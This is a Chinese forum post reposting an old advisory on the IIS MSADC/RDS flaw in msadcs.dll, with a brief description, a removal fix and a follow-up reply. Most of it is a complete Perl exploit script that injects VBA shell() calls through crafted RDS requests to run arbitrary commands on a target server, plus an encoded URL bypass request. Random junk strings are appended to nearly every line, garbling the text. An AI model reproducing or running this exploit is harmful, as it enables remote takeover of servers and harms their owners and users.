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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) cW/RH.N  
ZcYxH|Gn  
涉及程序: W&A22jO.1  
Microsoft NT server bO>Mvf  
C8m8ys  
描述: }e9E+2}Z\  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 c#<v:b  
([qw#!;w;  
详细: &s_[~g<  
如果你没有时间读详细内容的话,就删除: vh"zYl`  
c:\Program Files\Common Files\System\Msadc\msadcs.dll >Yl?i&3n  
有关的安全问题就没有了。 j I_TN5  
d?$FAy'o5  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 _Su? VxU  
((SN We  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 2~<?E`+  
关于利用ODBC远程漏洞的描述,请参看: LR@rn2Z  
NJ/6_e  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R Q X  
nBgksB*A  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 d(jd{L4d  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m;>HUTj  
+Tf,2?O  
这里不再论述。 Xjt/ G):L  
=nh/w#  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: &y[Od{=  
wcspqC"_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset c*'D  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! qSlC@@.>  
[>A%%  
6#MIt:#  
#将下面这段保存为txt文件,然后: "perl -x 文件名" !_QE|tVeR  
lM3UjR|@  
#!perl n-be8p)-  
# bJ*jJl x  
# MSADC/RDS 'usage' (aka exploit) script GPy+\P`  
# 2ro4{^(_  
# by rain.forest.puppy ex @e-<  
# JQP7>W  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?\L@Pr|=Dr  
# beta test and find errors! fil'._  
Pn\ Lg8  
use Socket; use Getopt::Std; P sij*%I4  
getopts("e:vd:h:XR", \%args); E?l_ *[G  
xL3-(K6e  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ycg5S rg  
ow,I|A  
if (!defined $args{h} && !defined $args{R}) { h2# G  
print qq~ \{ r%.G  
Usage: msadc.pl -h <host> { -d <delay> -X -v } #eD@s En  
-h <host> = host you want to scan (ip or domain)  )`!i"  
-d <seconds> = delay between calls, default 1 second y m<3  
-X = dump Index Server path table, if available HFu#-}iNV  
-v = verbose hF"yxucj$  
-e = external dictionary file for step 5 D4g$x'  
y*0bHzJ  
Or a -R will resume a command session .E-)R  
_w/w~;7  
~; exit;} ijOUv6=-  
ma)Y@Uw M  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~5<-&Dyp7  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} I,OEor6%R(  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} h[b;_>7  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); O~N0JK_>  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} LE%3.. !  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 4:GVZR|-  
M<hX !B  
if (!defined $args{R}){ $ret = &has_msadc; qn}4PVn4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} "a %5on  
k\8]fh)J\7  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ln-+=jk  
. "cmd /c "; {x{e?c!  
$in=<STDIN>; chomp $in; )EZ#BF<0|  
$command="cmd /c " . $in ; KP `{ UD)  
AC;ja$A#  
if (defined $args{R}) {&load; exit;} JE9SPFQx9M  
{hr>m,O%  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Hy`Ee7>  
&try_btcustmr;  u;R<  
0l=g$G \%  
print "\nStep 2: Trying to make our own DSN..."; p0U4#dD6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; dY'/\dJ  
l ?RsXC  
print "\nStep 3: Trying known DSNs..."; \_;z m+ <{  
&known_dsn; &,/_"N"?D  
#!(OTe L  
print "\nStep 4: Trying known .mdbs..."; 6}zargu(;  
&known_mdb; c193Or'6Y  
 MO|aN,  
if (defined $args{e}){ BO)K=gl;8  
print "\nStep 5: Trying dictionary of DSN names..."; :Lu=t3#  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } W9nmTz\8  
2x%Xx3!  
print "Sorry Charley...maybe next time?\n"; b2]1Dfw  
exit; g/e\ EkT  
2MaHD}1Jw  
############################################################################## wN'Q\l+  
?.Z4GWyXa  
sub sendraw { # ripped and modded from whisker mxUM&`[  
sleep($delay); # it's a DoS on the server! At least on mine... Khp`KPxz%  
my ($pstr)=@_; .21[3.bp/q  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || !?!~8J~  
die("Socket problems\n"); w64/$  
if(connect(S,pack "SnA4x8",2,80,$target)){ YTP6m9hA+  
select(S); $|=1; 8L]em&871  
print $pstr; my @in=<S>; >Z@^R7_W  
select(STDOUT); close(S); F)rU* i7  
return @in; Nr 5h%<` I  
} else { die("Can't connect...\n"); }} 3.,O7 k7y  
S?TyC";!  
############################################################################## l'TM^B)`c  
<d!_.f}v  
sub make_header { # make the HTTP request qXC>D Gy  
my $msadc=<<EOT &} %rZU  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 >S/m(98  
User-Agent: ACTIVEDATA OtK=UtVI  
Host: $ip >(nb8T|  
Content-Length: $clen S-@E  
Connection: Keep-Alive ], Xva`"  
7J?`gl&C  
ADCClientVersion:01.06 $KDH"J  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 e lj]e  
^PHWUb+``  
--!ADM!ROX!YOUR!WORLD! >~C*m `#  
Content-Type: application/x-varg )r X["=  
Content-Length: $reqlen $]O;D~  
Fv_rDTo  
EOT *Xm$w  
; $msadc=~s/\n/\r\n/g;  {oQ.y  
return $msadc;} -:Up$6PR  
"\0&1C(G  
############################################################################## ;.*n77Y  
Y)="of  
sub make_req { # make the RDS request U 8Rko)  
my ($switch, $p1, $p2)=@_; rq=D[vX\N(  
my $req=""; my $t1, $t2, $query, $dsn; ?U3X,uv5J  
<*I%U]  
if ($switch==1){ # this is the btcustmr.mdb query ?}<4LK]  
$query="Select * from Customers where City=" . make_shell(); ipy1tXc  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Qry?h*p+`  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Wl!|+-  
;#c=0*.  
elsif ($switch==2){ # this is general make table query OX|nYTp  
$query="create table AZZ (B int, C varchar(10))"; Dxj&9Ra  
$dsn="$p1";} 8)n799<.  
!e+ex"7  
elsif ($switch==3){ # this is general exploit table query w#ha ^4  
$query="select * from AZZ where C=" . make_shell(); o1I8l7  
$dsn="$p1";} YMGzO  
!@2L g  
elsif ($switch==4){ # attempt to hork file info from index server g?Jx99c;  
$query="select path from scope()"; /*,hR>UG  
$dsn="Provider=MSIDXS;";} `rt?n|*QF  
G .PzpBA  
elsif ($switch==5){ # bad query 9em?2'ysa  
$query="select"; y"5>O|`  
$dsn="$p1";} c*iZ6j"iI  
w,uyN  
$t1= make_unicode($query); .7lDJ2  
$t2= make_unicode($dsn); rDr3)*H?0  
$req = "\x02\x00\x03\x00"; ^eu={0k  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9UF^h{X  
$req.= "\x00\x00" . $t1 ; %=C49(/K_  
$req.= "\x08\x00" . pack ("S1", length($t2)); e6O+hC]:  
$req.= "\x00\x00" . $t2 ; !yxb=>A  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; k;aV4 0N9  
return $req;} ++b1VBP  
f]N.$,:$  
############################################################################## T_T@0`7  
!{hC99q6  
sub make_shell { # this makes the shell() statement |/Q7 o1i  
return "'|shell(\"$command\")|'";} j2\B(PA  
V)HX+D>  
############################################################################## P[E:=p  
frsqnvm;+  
sub make_unicode { # quick little function to convert to unicode mBb;:-5  
my ($in)=@_; my $out; Yfro^}f  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q:U^):~  
return $out;} i6)7)^nG  
6;|6@j  
############################################################################## Id_?  
yWsJa)e3*@  
sub rdo_success { # checks for RDO return success (this is kludge) uU+R,P0  
my (@in) = @_; my $base=content_start(@in); kH&KE5  
if($in[$base]=~/multipart\/mixed/){ 8v eG^o  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 7t8[M(  
return 0;} AHg:`Wjv-  
'!$g<= @  
############################################################################## d46PAA{'  
,\t:R1.  
sub make_dsn { # this makes a DSN for us 0Fd<@w Q0  
my @drives=("c","d","e","f"); *RPdU.  
print "\nMaking DSN: ";  -)='htiU  
foreach $drive (@drives) { 2>bTcud>  
print "$drive: "; oRJ!J-Z]  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . |s<IZ2z]}R  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" soSdlV{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); /iz{NulOz*  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; /Mac:;W`  
return 0 if $2 eq "404"; # not found/doesn't exist 4<P=wK=a8X  
if($2 eq "200") { 2.xA' \M  
foreach $line (@results) { nu'r `  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1=R6||8ws  
} return 0;} CJn{tP  
M|HW$8V3_2  
############################################################################## (4;m*' X  
(Nzup 3j  
sub verify_exists { b#h}g>l  
my ($page)=@_; +0{$J\s  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Rv-`6eyAA  
return $results[0];} %Y0,ww2  
H NFG:t9  
############################################################################## 6bv~E.  
R&lJ& SgC  
sub try_btcustmr { UG@9X/l}  
my @drives=("c","d","e","f"); olHT* mr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2hD(zUSy  
c/K:`XP~  
foreach $dir (@dirs) { )qyJw N .D  
print "$dir -> "; # fun status so you can see progress +JDQ`Qk  
foreach $drive (@drives) { X`,=tM  
print "$drive: "; # ditto A }(V2  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *y6zwe !M  
$reqlenlen=length( "$reqlen" ); S-^:p5{r  
$clen= 206 + $reqlenlen + $reqlen; Bf)}g4nYn  
:TPT]q d@  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); j@7%%   
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} FR bmeq3c  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} &oU) ,H  
B^;G3+}  
############################################################################## "L?h@8sa  
o7_*#5rD  
sub odbc_error { #8cpZ]#  
my (@in)=@_; my $base; D90.z"N\i9  
my $base = content_start(@in); {c(@u6l28  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this xZMQ+OW2i  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ( o(,;  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; }jfOs(Q]  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; xOKLc!J  
return $in[$base+4].$in[$base+5].$in[$base+6];} ]U4)2s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; x6h';W_ 8  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . @pV~Q2%  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} u!]g^r  
E}YJGFB7"  
############################################################################## w<qn@f  
[Dzd39aKr  
sub verbose { l0 Eh?  
my ($in)=@_; ZqONK^  
return if !$verbose; PU& v{gn  
print STDOUT "\n$in\n";} B4l*]K%  
26e.Hu  
############################################################################## J*!_kg)>J  
7I#<w[l>k  
sub save { aa-{,X"MF  
my ($p1, $p2, $p3, $p4)=@_; MAv-`8@|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; e$vvmbK.  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 4 ~s{zob  
close OUT;} E]aQK.  
?KB+2]7m6  
############################################################################## uG\ @e'pr  
Ro2Ab^rQ|  
sub load { 006 qj.  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 7o99@K,  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 8@)4)+e  
@p=<IN>; close(IN); #;+ABV  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '5usPD  
$target= inet_aton($ip) || die("inet_aton problems"); ]Yw/}GKB  
print "Resuming to $ip ..."; p;x3gc;0  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; "sD[P3  
if($p[1]==1) { (#)-IdXXO<  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ,E._A(Z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \>G:mMk/  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 0#/NZO  
if (rdo_success(@results)){print "Success!\n";} U!TSAg21P  
else { print "failed\n"; verbose(odbc_error(@results));}} crDm2oA~t  
elsif ($p[1]==3){ J#/L}h;qH  
if(run_query("$p[3]")){ ##\ <mFE  
print "Success!\n";} else { print "failed\n"; }} Xc}~_.]  
elsif ($p[1]==4){ ((AsZ$[S  
if(run_query($drvst . "$p[3]")){ bTd94  
print "Success!\n"; } else { print "failed\n"; }} H\PY\O&cP  
exit;} *7JsmN?  
-(;<Q_'s{"  
############################################################################## ; *ZiH%q,  
n N_Ylw  
sub create_table { -50 Nd=1  
my ($in)=@_; fZ6-ap,u  
$reqlen=length( make_req(2,$in,"") ) - 28; QnZ7e#@UP  
$reqlenlen=length( "$reqlen" ); l&2pUv=  
$clen= 206 + $reqlenlen + $reqlen; s?9$o Qq1  
my @results=sendraw(make_header() . make_req(2,$in,"")); \* /R6svz  
return 1 if rdo_success(@results); E*W|>2nx]  
my $temp= odbc_error(@results); verbose($temp); JYesk  
return 1 if $temp=~/Table 'AZZ' already exists/; 9aa cW  
return 0;} 6?(Z f  
PF+SHT'4}#  
############################################################################## [ U`})  
TIIwq H+h.  
sub known_dsn { 8o7%qWX  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 3 {OZdl|  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", !iHJ!  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Z37%jdr  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); l`b%imX  
&UextGk7  
foreach $dSn (@dsns) { xU LcS :Q  
print "."; ^}{`bw{  
next if (!is_access("DSN=$dSn")); ]nQC  
if(create_table("DSN=$dSn")){ -LnNA`-  
print "$dSn successful\n"; -]-?>gkN5  
if(run_query("DSN=$dSn")){ hLo>jE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { AnW72|=A(  
print "Something's borked. Use verbose next time\n";}}} print "\n";} u 6"v}gN  
kKHGcm^r  
############################################################################## !]l!I9  
$j"TPkW{M  
sub is_access { qJZ:\u8oO  
my ($in)=@_; bkSI1m3  
$reqlen=length( make_req(5,$in,"") ) - 28; W*!u_]K>  
$reqlenlen=length( "$reqlen" ); !C>'a:  
$clen= 206 + $reqlenlen + $reqlen; \)/dFo\l  
my @results=sendraw(make_header() . make_req(5,$in,"")); BK[ YX)  
my $temp= odbc_error(@results); 9C"d7--  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ';J><z{>  
return 0;} {sR|W:fS$  
79y'PFSms  
############################################################################## 0,M1Q~u%.  
uupfL>h  
sub run_query { wQR0R~|M  
my ($in)=@_; rl0|)j  
$reqlen=length( make_req(3,$in,"") ) - 28; N NTUl$  
$reqlenlen=length( "$reqlen" ); 5n#@,V.O/  
$clen= 206 + $reqlenlen + $reqlen; \1H~u,a  
my @results=sendraw(make_header() . make_req(3,$in,"")); IS [&V&.n  
return 1 if rdo_success(@results); -+H?0XN  
my $temp= odbc_error(@results); verbose($temp); g-O}e4  
return 0;} dp=#|!jc  
+}Q@{@5w  
############################################################################## ]ff5MY 36  
,Srj38p  
sub known_mdb { +=JJ=F)  
my @drives=("c","d","e","f","g"); us2RW<Oxv  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 4/+P7.}ea-  
my $dir, $drive, $mdb; ?]Wg{\NC6  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; =.9uuF:  
/)LI1\ o  
# this is sparse, because I don't know of many r)/nx@x  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,2/y(JX}*!  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", %7n(>em  
"\\system32\\certmdb.mdb", slRD /  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% iL\eMa  
<`Q*I Y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", n^+rxG6 L  
"\\cfusion\\cfapps\\forums\\forums_.mdb", [ KT1.5M[  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", i3usZ{_r  
"\\cfusion\\cfapps\\security\\realm_.mdb", w}:&+B:  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", @`S8d%6P  
"\\cfusion\\database\\cfexamples.mdb", snccDuS  
"\\cfusion\\database\\cfsnippets.mdb", dZi ?Z  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", +1(L5Do}  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 1XD|H_JG<j  
"\\cfusion\\brighttiger\\database\\cleam.mdb", TxDzGC  
"\\cfusion\\database\\smpolicy.mdb", g0M9v]c  
"\\cfusion\\database\cypress.mdb", QmRE<i  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", XL2iK)A  
"\\website\\cgi-win\\dbsample.mdb", #->#mshd4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", qFwJ%(IQ  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" r[votdFo  
); #these are just ~L3]Wa.  
foreach $drive (@drives) { B 4my  
foreach $dir (@dirs){ j?gsc Q3  
foreach $mdb (@sysmdbs) { Q4!6|%n8v  
print "."; S mjg[  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 48t_?2>  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =j$!N# L  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ %Tvy|L ,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ye^l~  
} else { print "Something's borked. Use verbose next time\n"; }}}}} j+-+<h/(  
t w?\bB  
foreach $drive (@drives) { ")?NCun>  
foreach $mdb (@mdbs) { A"W}l)+X  
print "."; "JBTsQDj!  
if(create_table($drv . $drive . $dir . $mdb)){ C?47v4n-'  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0{'%j~"  
if(run_query($drv . $drive . $dir . $mdb)){ X GhV? tA  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; I6B4S"Q5<  
} else { print "Something's borked. Use verbose next time\n"; }}}} %@4/W  N  
} ;~ , <8  
>~)IsQ*%  
############################################################################## \8HLQly|@  
'V-_3WWxU  
sub hork_idx { * U#@M3g.  
print "\nAttempting to dump Index Server tables...\n"; x O gUX6n  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; @c{rqa v  
$reqlen=length( make_req(4,"","") ) - 28; V/@?KC0B5  
$reqlenlen=length( "$reqlen" ); ,U?W  
$clen= 206 + $reqlenlen + $reqlen; 6~b]RZe7  
my @results=sendraw2(make_header() . make_req(4,"","")); QZ:xG:qyk;  
if (rdo_success(@results)){ 0A. PfqYi  
my $max=@results; my $c; my %d; WymBjDos:  
for($c=19; $c<$max; $c++){ YnLwBJ2i  
$results[$c]=~s/\x00//g; !v`C-1}70  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Zv8I`/4?  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; XDM~H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; '<v_YxEn  
$d{"$1$2"}="";} !/|^ )d^U  
foreach $c (keys %d){ print "$c\n"; } `kERM-@A  
} else {print "Index server doesn't seem to be installed.\n"; }} xw5LPz;B  
KWzJ  
############################################################################## Z.v2 !u  
Ag#o&Y  
sub dsn_dict { MV.$Ay  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); }?vVJm'  
while(<IN>){ 0*-nVC1  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <>9zXbI  
next if (!is_access("DSN=$dSn")); erQ0fW  
if(create_table("DSN=$dSn")){ $hM>%u  
print "$dSn successful\n"; n;+e(ob;;  
if(run_query("DSN=$dSn")){ O"Ua|8  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { #vnJJ#uI|>  
print "Something's borked. Use verbose next time\n";}}} |Vq&IfP  
print "\n"; close(IN);} 3$hbb6N%6.  
k=o>DaEh(  
############################################################################## SFdSA4D"  
fL7u419=  
sub sendraw2 { # ripped and modded from whisker }G50?"^u  
sleep($delay); # it's a DoS on the server! At least on mine... (K>=!&tlp=  
my ($pstr)=@_; yxpDQ O~x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 7vf?#^ RlV  
die("Socket problems\n"); N)rf /E0  
if(connect(S,pack "SnA4x8",2,80,$target)){ IC:wof "  
print "Connected. Getting data"; $*Z Zh  
open(OUT,">raw.out"); my @in; acdWU"<  
select(S); $|=1; print $pstr; Jfkdiyy"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} n$S`NNO{]  
close(OUT); select(STDOUT); close(S); return @in; O{F)|<L(G  
} else { die("Can't connect...\n"); }} ^& R H]q  
y?1<7>L5~  
############################################################################## QxjX:O  
nR()ei^X  
sub content_start { # this will take in the server headers [=xJh?*P  
my (@in)=@_; my $c; on=I*?+R  
for ($c=1;$c<500;$c++) { QaMB=wVr  
if($in[$c] =~/^\x0d\x0a/){ AHA4{Zu[  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } M zbs#v0  
else { return $c+1; }}} &D[pX|!  
return -1;} # it should never get here actually h)746T )  
D" 4*&  
############################################################################## %^C.e*  
49("$!  
sub funky { xWa96U[  
my (@in)=@_; my $error=odbc_error(@in); Qn*a#]p  
if($error=~/ADO could not find the specified provider/){ },=0]tvZG#  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; `Rc7*2I)l  
exit;} d*A(L5;@  
if($error=~/A Handler is required/){ uv,_?x\'  
print "\nServer has custom handler filters (they most likely are patched)\n"; mm5y'=#  
exit;} %488"  
if($error=~/specified Handler has denied Access/){ k'd(H5A   
print "\nServer has custom handler filters (they most likely are patched)\n"; J^G#x}y  
exit;}} +-B`Fya  
nvdo|5  
############################################################################## A,2dK}\>  
YsHZFF  
sub has_msadc { (DW[#2\.  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ZSu0e%  
my $base=content_start(@results); xq2 ,S  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); DrTo")T  
return 0;} XazKS4(  
?5oeyBA@  
######################## Q.8)_w  
dK=<%)N  
+C(v4@=nd  
解决方案: v GT#BS%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Du3nK" -g  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 4ZZ/R?AiK  
r95l.v  
拿出来充数 哈哈
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